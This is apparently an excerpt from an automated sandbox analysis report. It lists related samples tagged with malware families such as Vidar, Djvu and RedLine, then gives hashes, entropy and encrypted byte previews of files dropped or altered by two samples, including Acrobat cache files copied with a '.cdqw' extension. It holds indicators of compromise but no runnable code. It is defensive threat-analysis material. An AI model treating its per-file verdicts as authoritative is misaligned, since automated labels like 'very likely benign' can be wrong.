	Setup.exe	Get hash	malicious	Vidar	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	XrNOw4sxMG.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	n1ppfW1lhW.exe	Get hash	malicious	Vidar	Browse
	7yCti1JQXn.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	EdRzQIfoXb.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	build2.exe	Get hash	malicious	Vidar	Browse
	New_Text_Document_mod.exse.exe	Get hash	malicious	AgentTesla, Amadey, Creal Stealer, Djvu, FormBook, Glupteba, GuLoader	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	Setup_Pswrd_1234.rar	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\CAAEBKEGHJKEBFHJDBFCFBKKJJ

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKEBFCF

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIEHCFI

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBFHJEGD

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	modified
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIDHCBGDHJKEBGDGIJE

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJEBAA

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJEBAAECBGDHIECAKJ

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.683388564111737
Encrypted:	false
SSDEEP:	12:ksiqZ33Pm8ieI382W5EPm97Z6rltHu4kVFKYXSUdNcii9a:VB310EEPmn6aI2bD
MD5:	E41422423DE17952D8AA96287EF760B4
SHA1:	971880A8F64A94D79A5C656C1E6EAF5DB1E2A5C0
SHA-256:	F1D089B7F20E2A541766E90634ADD7EA2F02D4E58AC628ADF60FC495F5B85210
SHA-512:	240756C389C84AC10BFC201F14088EF9F0FA6B90FCF1F0597F5746BF0D37AE6556A16CE59224B204A9387BB8E1C0438C3F821E1D93E4D774363D672782B03339
Malicious:	false
Preview:	2023/.&{c=..:.++.N*:.~.(.kCL...k.L}q. x^u....[...C.. ...a.2..a.....(...;.i.-...R\|q..q...^.._.F..%.;.].9.z.z..........:.....$(h...(^...Q.k...6.w..0....Vx....(^.L....(.r..x..~...`T...U..\|P.Zu.z.\|...99.v....=.u.......9...#..S'[.I\._..D...XlC......@.0d_d.m.\.B.?..>t..+.OC.,..H~_..K.Q.....{..".x}6t......t.{mK6.`..l....>....2....i....f...i...8..?...e.pa..Vf.[7......=....Y.......>.Lg!..v.I.MH...j.......c.8.....;....c..a.?fz\|.........:..W..Eb.J>...M.\T.!...,d....^G......tF....L.f.@H.j',.8....S........-...u. .."3.J.....Mz.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.683388564111737
Encrypted:	false
SSDEEP:	12:ksiqZ33Pm8ieI382W5EPm97Z6rltHu4kVFKYXSUdNcii9a:VB310EEPmn6aI2bD
MD5:	E41422423DE17952D8AA96287EF760B4
SHA1:	971880A8F64A94D79A5C656C1E6EAF5DB1E2A5C0
SHA-256:	F1D089B7F20E2A541766E90634ADD7EA2F02D4E58AC628ADF60FC495F5B85210
SHA-512:	240756C389C84AC10BFC201F14088EF9F0FA6B90FCF1F0597F5746BF0D37AE6556A16CE59224B204A9387BB8E1C0438C3F821E1D93E4D774363D672782B03339
Malicious:	false
Preview:	2023/.&{c=..:.++.N*:.~.(.kCL...k.L}q. x^u....[...C.. ...a.2..a.....(...;.i.-...R\|q..q...^.._.F..%.;.].9.z.z..........:.....$(h...(^...Q.k...6.w..0....Vx....(^.L....(.r..x..~...`T...U..\|P.Zu.z.\|...99.v....=.u.......9...#..S'[.I\._..D...XlC......@.0d_d.m.\.B.?..>t..+.OC.,..H~_..K.Q.....{..".x}6t......t.{mK6.`..l....>....2....i....f...i...8..?...e.pa..Vf.[7......=....Y.......>.Lg!..v.I.MH...j.......c.8.....;....c..a.?fz\|.........:..W..Eb.J>...M.\T.!...,d....^G......tF....L.f.@H.j',.8....S........-...u. .."3.J.....Mz.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.663862973274683
Encrypted:	false
SSDEEP:	12:kKh+yXe9F10xLkfaZQYldWvHQvTd3XQiajpIqV1ZyRhYMZOmMXf/PpMaYmMSUdNX:TOSxQfaZQYlAPQ0jp9EhJKf/Rn2bD
MD5:	7CF87BF058A9AF15DCC01CEA6B4D76EC
SHA1:	21381E89043CC4B5D89339FF2714A72AAA56115C
SHA-256:	D863785D85C86F9469B935D6176A0CB9F464DA64A1E1AEDF213A093F40CC4FBB
SHA-512:	237F8F02673001F111DAE3505D5CF106DA646A4BA2620E9BD0C03FF9E41F3A43F88810FE4B36BDEA59A0DD5D28E1A712D928B2CFD5D52BE6D0BFF74F81C8FEFB
Malicious:	false
Preview:	2023/.T}?.."f...Ey.....e!E..n.....'T.n\|..5.S.D...K.`...a......}b...U.q..$.l.0.h<:..6(.q.l.<' ..@...nl.t.2.q.D.* .ZT!...Q.8....;{.....O..I.Gu...2...1g~1..I.OS..........\.a.s............8J.NC..k....k.;..MOVB.n....._....~p.-...O%W.S.#.\'=.=\|.T=.....a.M..d.p...4.;.{.........P.}...>L\L..........S..j..~q.(>.G{`..k."R0;M:.{.$y.1.H`;.R...{dG.B.2.D...%..-..........b...}=]^h...T..6f...JI.Bs.A.cv#Ja..wz'..nN.....m.L1....X..`m.$.eqz.../.a...2#.....+.x..\)Er..L....0}.b~.%d..o8.{.)...@.$gy.R...}o..6..`0N)N..s.,..K.T..0D...Z.........w(........"....N.R..5...5...{=.Y....H..NmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.663862973274683
Encrypted:	false
SSDEEP:	12:kKh+yXe9F10xLkfaZQYldWvHQvTd3XQiajpIqV1ZyRhYMZOmMXf/PpMaYmMSUdNX:TOSxQfaZQYlAPQ0jp9EhJKf/Rn2bD
MD5:	7CF87BF058A9AF15DCC01CEA6B4D76EC
SHA1:	21381E89043CC4B5D89339FF2714A72AAA56115C
SHA-256:	D863785D85C86F9469B935D6176A0CB9F464DA64A1E1AEDF213A093F40CC4FBB
SHA-512:	237F8F02673001F111DAE3505D5CF106DA646A4BA2620E9BD0C03FF9E41F3A43F88810FE4B36BDEA59A0DD5D28E1A712D928B2CFD5D52BE6D0BFF74F81C8FEFB
Malicious:	false
Preview:	2023/.T}?.."f...Ey.....e!E..n.....'T.n\|..5.S.D...K.`...a......}b...U.q..$.l.0.h<:..6(.q.l.<' ..@...nl.t.2.q.D.* .ZT!...Q.8....;{.....O..I.Gu...2...1g~1..I.OS..........\.a.s............8J.NC..k....k.;..MOVB.n....._....~p.-...O%W.S.#.\'=.=\|.T=.....a.M..d.p...4.;.{.........P.}...>L\L..........S..j..~q.(>.G{`..k."R0;M:.{.$y.1.H`;.R...{dG.B.2.D...%..-..........b...}=]^h...T..6f...JI.Bs.A.cv#Ja..wz'..nN.....m.L1....X..`m.$.eqz.../.a...2#.....+.x..\)Er..L....0}.b~.%d..o8.{.)...@.$gy.R...}o..6..`0N)N..s.,..K.T..0D...Z.........w(........"....N.R..5...5...{=.Y....H..NmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.747184857015078
Encrypted:	false
SSDEEP:	12:YKWCkZxJcR6uGLe9RAmp4S2dgF9hfRQVFa42mm6YEt/SEoA6akvF7U4VUGI/ylm0:YKWHr3gheehB42mmm0CKB6vQm6LG2bD
MD5:	BFC96E37E91C4CD4A4A9A0149F0097B3
SHA1:	29D7B04DD96C6DD4524F2F1133AF5E0D252C442E
SHA-256:	89CAEBB0781419DC74532D35E15013627E18DEA041DD03C388703651915D6B0E
SHA-512:	AA1791B8805DD450CD04FB06D736ED04AE5C82EC8550C31B95D76E9AD873123DF7CE4E2D17F663F2E7E1FA9DEBC8D0546DACC92DE94AD3A2DC2D1D494176C0CB
Malicious:	false
Preview:	{"os_..K.L8[..;g.#.H.....e..L......oX.N.......0P...W.R.i...=.[.v..R7P5.I.$aP.....FOB..tkG\Wb. .`!...-.v..d.s$..0gM..nTULT'.5.W.-..+3<I.4yIB...u.0{......i8.3..Y.......;.^lwY...:....l.c...<..hs...^\|W...B....>.Q.Pk.b..".r7.i....S...>S...<G8.....I.^.\|...V].d.JL.".3%.K..)Yz.iR3'.M...\|B...cA..L....nN4.O.'..u.Ta..1..aA+^.....,.+u`...n.m.....8....\|..-Hw..d.5..y..X.......B......ob........}....(q...EZ..%..7...J..'.2.W.X..0..i\.....T.D...4.&..[......=....w.B._...m\.rx...UPM...lj.#. .q.L....K.s....#6../.....fn......../.......+......yR`.4..Q..=...............w...N.{..'.x.y......#..U.^;W@...)&../...BW...^kE}Wf..6...R..8..y.'E..y....n..;.W....n3.CD.. .P..C(v......"H...-Wpp...<.).w.x......0..EcR_mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.747184857015078
Encrypted:	false
SSDEEP:	12:YKWCkZxJcR6uGLe9RAmp4S2dgF9hfRQVFa42mm6YEt/SEoA6akvF7U4VUGI/ylm0:YKWHr3gheehB42mmm0CKB6vQm6LG2bD
MD5:	BFC96E37E91C4CD4A4A9A0149F0097B3
SHA1:	29D7B04DD96C6DD4524F2F1133AF5E0D252C442E
SHA-256:	89CAEBB0781419DC74532D35E15013627E18DEA041DD03C388703651915D6B0E
SHA-512:	AA1791B8805DD450CD04FB06D736ED04AE5C82EC8550C31B95D76E9AD873123DF7CE4E2D17F663F2E7E1FA9DEBC8D0546DACC92DE94AD3A2DC2D1D494176C0CB
Malicious:	false
Preview:	{"os_..K.L8[..;g.#.H.....e..L......oX.N.......0P...W.R.i...=.[.v..R7P5.I.$aP.....FOB..tkG\Wb. .`!...-.v..d.s$..0gM..nTULT'.5.W.-..+3<I.4yIB...u.0{......i8.3..Y.......;.^lwY...:....l.c...<..hs...^\|W...B....>.Q.Pk.b..".r7.i....S...>S...<G8.....I.^.\|...V].d.JL.".3%.K..)Yz.iR3'.M...\|B...cA..L....nN4.O.'..u.Ta..1..aA+^.....,.+u`...n.m.....8....\|..-Hw..d.5..y..X.......B......ob........}....(q...EZ..%..7...J..'.2.W.X..0..i\.....T.D...4.&..[......=....w.B._...m\.rx...UPM...lj.#. .q.L....K.s....#6../.....fn......../.......+......yR`.4..Q..=...............w...N.{..'.x.y......#..U.^;W@...)&../...BW...^kE}Wf..6...R..8..y.'E..y....n..;.W....n3.CD.. .P..C(v......"H...-Wpp...<.).w.x......0..EcR_mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.956669931669778
Encrypted:	false
SSDEEP:	96:57moBR1n1S7IG1+XY+ikQXu/tK+rWPvp0efyqCEN34OAxsJqqPL:57NN0p4BzQ6w+rWPjfFo9iJT
MD5:	68A85DCFC03B6301E2BC1FD6D6F9BC6F
SHA1:	435E9EE4CCC2D450BFD75D8693A51685626A9BB3
SHA-256:	7AF1846ED2F5F359854366A9D85728968A5B3255C4AA8FFA3BEF81DA0D21566C
SHA-512:	F45C99B4D0B4C39C4B5A59133D058CAAB91EE398B9782CF1FC98D3C6F65A444B6F66DC1C543DE9077125990EBD3EB83A4D93979A3A9E307DDEEF63BCB4836C42
Malicious:	false
Preview:	...#n.3.NH...!.^.=....6+..b........'....../.......Q....g...Am..[.>..lR.O@[...IzF.....z...R.$.<.,^Z.iL\|.VyM.Q.7?6.3W#..-x.F.wjv......Q.`1 .$.....4.ix.BI...XA..c..D>@..`......ng.u....M..?YoFy8.^%.....K...M...'.9.;..'B1Q.0..S7..K..6......W......fD.g..Up...K..DI).&.<..o.<....`.eN....w.S.....2..a;_.`....6.m=.2?n-.7.`&......_.&...R.......W.KSR....SS..I...mFK.....^p.....p..2..0?..Vv.A.Oss..e..l.......6.>.....g..L.....w..-.$0...M.../o.Y.s~.....q6..KJc{.ic..l..3N...s..}...]J....`.s!m..GvaO7K.z.V...n.;.y0.p..$...{.<v...i.=G.U.;`Y.1c..b..DZ`.C..]..g]......i....{..w.QK.[.D.......Mk....".fd=.y.&0N.vk.m...g.F.#F..)V4.\.....2O...51._.........u..2.."nc0f....D+...c..O..Y.}.[.wzg<d....'...R......e<.^^....s.....nS.\|;E....+...3..#....8.})\|\..-.i[.yc.{X.mf......4.2. ...^r.............S..;.v*.<.3.@...Q.Cgj...,....%._..D HdG...........(#.V...K.4..6j.fJ.F..kPo.mp%$B.5...D..F..R......O..!L..&ZM.N..5...Rs/..^...06..LC.A....G.q...IERR._.M&?...Da;aF..o..?...

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.956669931669778
Encrypted:	false
SSDEEP:	96:57moBR1n1S7IG1+XY+ikQXu/tK+rWPvp0efyqCEN34OAxsJqqPL:57NN0p4BzQ6w+rWPjfFo9iJT
MD5:	68A85DCFC03B6301E2BC1FD6D6F9BC6F
SHA1:	435E9EE4CCC2D450BFD75D8693A51685626A9BB3
SHA-256:	7AF1846ED2F5F359854366A9D85728968A5B3255C4AA8FFA3BEF81DA0D21566C
SHA-512:	F45C99B4D0B4C39C4B5A59133D058CAAB91EE398B9782CF1FC98D3C6F65A444B6F66DC1C543DE9077125990EBD3EB83A4D93979A3A9E307DDEEF63BCB4836C42
Malicious:	false
Preview:	...#n.3.NH...!.^.=....6+..b........'....../.......Q....g...Am..[.>..lR.O@[...IzF.....z...R.$.<.,^Z.iL\|.VyM.Q.7?6.3W#..-x.F.wjv......Q.`1 .$.....4.ix.BI...XA..c..D>@..`......ng.u....M..?YoFy8.^%.....K...M...'.9.;..'B1Q.0..S7..K..6......W......fD.g..Up...K..DI).&.<..o.<....`.eN....w.S.....2..a;_.`....6.m=.2?n-.7.`&......_.&...R.......W.KSR....SS..I...mFK.....^p.....p..2..0?..Vv.A.Oss..e..l.......6.>.....g..L.....w..-.$0...M.../o.Y.s~.....q6..KJc{.ic..l..3N...s..}...]J....`.s!m..GvaO7K.z.V...n.;.y0.p..$...{.<v...i.=G.U.;`Y.1c..b..DZ`.C..]..g]......i....{..w.QK.[.D.......Mk....".fd=.y.&0N.vk.m...g.F.#F..)V4.\.....2O...51._.........u..2.."nc0f....D+...c..O..Y.}.[.wzg<d....'...R......e<.^^....s.....nS.\|;E....+...3..#....8.})\|\..-.i[.yc.{X.mf......4.2. ...^r.............S..;.v*.<.3.@...Q.Cgj...,....%._..D HdG...........(#.V...K.4..6j.fJ.F..kPo.mp%$B.5...D..F..R......O..!L..&ZM.N..5...Rs/..^...06..LC.A....G.q...IERR._.M&?...Da;aF..o..?...

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.619496115173088
Encrypted:	false
SSDEEP:	12:ktrsksDez9vG1nSrGnK+6WV5+R6rYiGt/YVWYGyTIQSSUdNcii9a:jksDeOnSrlkV5Q6EiGhBWh2bD
MD5:	717577872291D5B152DED0F03A091A16
SHA1:	433B67E58DFADD790EAFC25CF4177C32A712F625
SHA-256:	DD548358E5C2471D890AFC787F8CE21567D394D16524DEA435E1E87C48CFFA28
SHA-512:	BFBF7930B8C93114B83AD55B583E35782161D50DD8865515C7FDC784DD651DF170D802210B0AE1DC91B117EA0764153EFB56424935C83DB688BCCCD811862F15
Malicious:	false
Preview:	2023/.wH..J+18..(.5.).dRa6...P%...z......J..:.....\|.....X..m...G.bO.O...L.zJ..U..J..a.E4.br#\|.7c..wW%.>...e...a.l......^....G.R^^e.X.y...........F-'4..6........Gm.>.c.N..V.Y..f./..,..P.O.,....Y.?H..L..!........a.4....C...=.D........R..6.._.,..1...z.F.BmI.e.W....a.Fp...Qz..p..:G.B...8.-;$%......2.n.rM)..q.\...^....`...(.[>...f.r...=..M..{...w..B5R.....v\1...P.wZ..B`.p.!...5"..t.X,.-..P.<......g.z.B++...+..CA........E....Aq..H.r...U.Pq.\|..l?..B.....NJ.....q[...S..\|K.-wn......&.&`(v8...]..x..D)=..$...2.[....Crz..z........l.9`b.)0.......0.S.<=.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.619496115173088
Encrypted:	false
SSDEEP:	12:ktrsksDez9vG1nSrGnK+6WV5+R6rYiGt/YVWYGyTIQSSUdNcii9a:jksDeOnSrlkV5Q6EiGhBWh2bD
MD5:	717577872291D5B152DED0F03A091A16
SHA1:	433B67E58DFADD790EAFC25CF4177C32A712F625
SHA-256:	DD548358E5C2471D890AFC787F8CE21567D394D16524DEA435E1E87C48CFFA28
SHA-512:	BFBF7930B8C93114B83AD55B583E35782161D50DD8865515C7FDC784DD651DF170D802210B0AE1DC91B117EA0764153EFB56424935C83DB688BCCCD811862F15
Malicious:	false
Preview:	2023/.wH..J+18..(.5.).dRa6...P%...z......J..:.....\|.....X..m...G.bO.O...L.zJ..U..J..a.E4.br#\|.7c..wW%.>...e...a.l......^....G.R^^e.X.y...........F-'4..6........Gm.>.c.N..V.Y..f./..,..P.O.,....Y.?H..L..!........a.4....C...=.D........R..6.._.,..1...z.F.BmI.e.W....a.Fp...Qz..p..:G.B...8.-;$%......2.n.rM)..q.\...^....`...(.[>...f.r...=..M..{...w..B5R.....v\1...P.wZ..B`.p.!...5"..t.X,.-..P.<......g.z.B++...+..CA........E....Aq..H.r...U.Pq.\|..l?..B.....NJ.....q[...S..\|K.-wn......&.&`(v8...]..x..D)=..$...2.[....Crz..z........l.9`b.)0.......0.S.<=.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.428461761740777
Encrypted:	false
SSDEEP:	12:H66aJt9vdPxCGykH5DWH6Kr7DwLtWgGMD7h9roWSUdNcii9a:a6Q3lPxFykHxWH6K7ytWgDhRoV2bD
MD5:	8B54CFD63BEDE039E4232EC854C73E06
SHA1:	5FDABEF9EC90CEF1345CD4370328C5CC6C4BA6A3
SHA-256:	08943EE01B7FF898ABAD44D54383D6AE5D44F1CAC558C77DD74C413840A25206
